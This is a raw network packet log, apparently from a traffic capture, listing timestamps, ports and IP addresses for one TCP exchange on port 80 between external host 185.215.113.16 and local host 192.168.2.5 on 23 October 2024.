Oct 23, 2024 15:49:19.537601948 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.537657976 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.539124012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.539180040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.577925920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.577956915 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.577991009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.578025103 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.578035116 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.578063965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.578063965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.618096113 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.618310928 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.618446112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.623620033 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.623656034 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.623692036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.623826981 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.653831005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.653868914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.653906107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.653968096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.654011965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.654633999 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.654689074 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.654723883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.654751062 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.654759884 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.654778957 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.654814005 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.654968977 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.655004978 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.655023098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.655041933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.655046940 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.655072927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.655092001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.655116081 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.696500063 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.696552038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.696592093 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.696749926 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.696749926 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.742191076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.742223024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.742276907 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.742285013 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.742285967 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.742311954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.742348909 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.742362022 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.742387056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.742424965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.742446899 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.772790909 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.772844076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.772883892 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.773017883 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.773282051 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.773345947 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.773350000 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.773384094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.773408890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.773425102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.773439884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.773492098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.773756981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.773806095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.773812056 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.773859978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.774065018 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.774096012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.774110079 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.774130106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.815062046 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.815107107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.815144062 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.815263033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.815372944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.861090899 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.861150026 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.861166000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.861310005 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.861310959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.861310959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.862374067 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.862390995 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.862442017 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.862478018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.891403913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.891448021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.891484976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.891498089 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.891527891 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.891546965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.892050028 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.892096996 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.892147064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.892178059 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.892189980 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.892221928 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.892230034 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.892263889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.892273903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.892298937 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.892303944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.892343044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.892955065 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.893006086 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.893007994 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.893048048 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.933650970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.933707952 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.933739901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.933770895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.933773041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.933804035 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.933825016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.980256081 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.980379105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.980587006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.980645895 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.980648041 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.980686903 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.980695963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.980726004 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:19.980726004 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:19.980763912 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.010540009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.010607958 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.010643959 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.010705948 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.010746956 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.011384010 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.011430025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.011466026 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.011480093 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.011501074 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.011508942 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.011534929 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.011679888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.011897087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.011941910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.011946917 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.011980057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.012022018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.052472115 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.052510023 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.052546024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.052647114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.052720070 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.098512888 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.098545074 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.098587990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.098654032 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.098699093 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.098757982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.098881960 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.098927975 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.098958015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.098999023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.099231005 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.099241972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.099251986 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.099277020 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.099294901 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.128916025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.128945112 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.128993034 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.129005909 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.129026890 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.130229950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130264997 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130280018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.130300999 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.130307913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130320072 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130341053 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.130357981 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.130523920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130564928 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.130697012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130707026 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130739927 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.130937099 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.130974054 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.131021976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.131059885 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.171055079 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.171073914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.171084881 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.171118021 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.171133995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.218676090 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.218692064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.218703032 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.218714952 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.218806982 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.218817949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.218864918 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.219000101 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.219012022 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.219022989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.219052076 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.219080925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.249224901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.249340057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.249356985 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.249358892 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.249439001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.249439955 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.249717951 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.249784946 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.249955893 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.249967098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.249977112 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.250011921 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.250046015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.250382900 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.250433922 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.250534058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.250545025 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.250586033 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.250730038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.250740051 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.250780106 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.291043997 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.291055918 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.291064024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.291147947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336293936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336358070 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336410999 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336443901 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336445093 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336478949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336479902 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336514950 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336520910 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336560965 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336591005 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336832047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336895943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.336911917 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336951017 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.336990118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.337050915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.337055922 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.337110996 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.366566896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.366620064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.366652012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.366650105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.366697073 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.366697073 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.367671013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.367719889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.367724895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.367754936 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.367758036 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.367791891 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.367839098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.367872000 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.367882013 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.367906094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.367914915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.367943048 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.368513107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.368551970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.368558884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.368592978 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.368606091 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.368640900 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.368649006 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.368676901 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.369323969 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.369365931 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.408349991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.408377886 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.408428907 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.408473015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.408490896 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.408528090 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.454925060 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.454948902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.454967022 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.455023050 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.455043077 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.455064058 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.455068111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.455079079 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.455115080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.455115080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.455604076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.455621958 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.455636978 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.455665112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.455692053 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.485497952 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.485517979 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.485532045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.485603094 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.485718012 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.486560106 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.486613989 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.486614943 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.486629009 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.486644030 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.486661911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.486682892 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.486856937 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.486872911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.486887932 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.486903906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.486931086 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.487353086 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.487369061 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.487385035 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.487400055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.487400055 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.487423897 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.487449884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.488193989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.488245964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.527405024 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.527456045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.527493954 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.527512074 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.527512074 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.527542114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:20.574522972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.574558973 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:20.574575901 CEST	80	49990	185.215.113.16	192.168.2.5
